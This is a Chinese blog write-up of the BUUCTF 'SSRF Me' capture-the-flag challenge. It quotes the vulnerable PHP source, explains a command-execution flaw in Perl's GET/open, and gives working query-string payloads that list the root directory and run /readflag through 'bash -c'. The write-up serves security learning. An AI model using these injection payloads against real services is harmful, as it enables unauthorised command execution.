[BUUCTF]SSRF Me

源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

函数学习:

explode() 把字符串打散为数组
mkdir() 创建目录
chdir() 切换目录

basename() 函数返回路径中的文件名部分
pathinfo() 函数以数组的形式返回关于文件路径的信息。
返回的数组元素如下:
[dirname]: 目录路径
[basename]: 文件名
[extension]: 文件后缀名
[filename]: 不包含后缀的文件名

代码分析:

  • 输出当前页面用户的ip
  • 构建md5处理过的目录,切换到当前目录
  • 执行GET拼接shell命令,内容可控
  • 将可控内容写入到可控文件中

一开始以为是escapeshellarg,但其实是

perl get 命令执行漏洞

思路:

调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果。

知识点:

bash -c “cmd string” 命令
perl脚本GET open命令漏洞
GET是Lib for WWW in Perl中的命令
目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数

  • 先创123文件查看根目录

创建
poc1

?url=/&filename=123

poc2

?url=file:///filename=123

访问

url/sandbox/MD5(orange+ip)/123

在这里插入图片描述
发现flag和readflag,读了发现flag不可见,readflag是执行文件,那么思路就很清晰了

  • 运行readflag文件读取flag

首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:

?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=111 再利用GET执行bash -c /readflag保存到111文件

访问

url/sandbox/MD5(orange+ip)/111

深层次学习perl
https://www.jianshu.com/p/3f82685f56a8

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值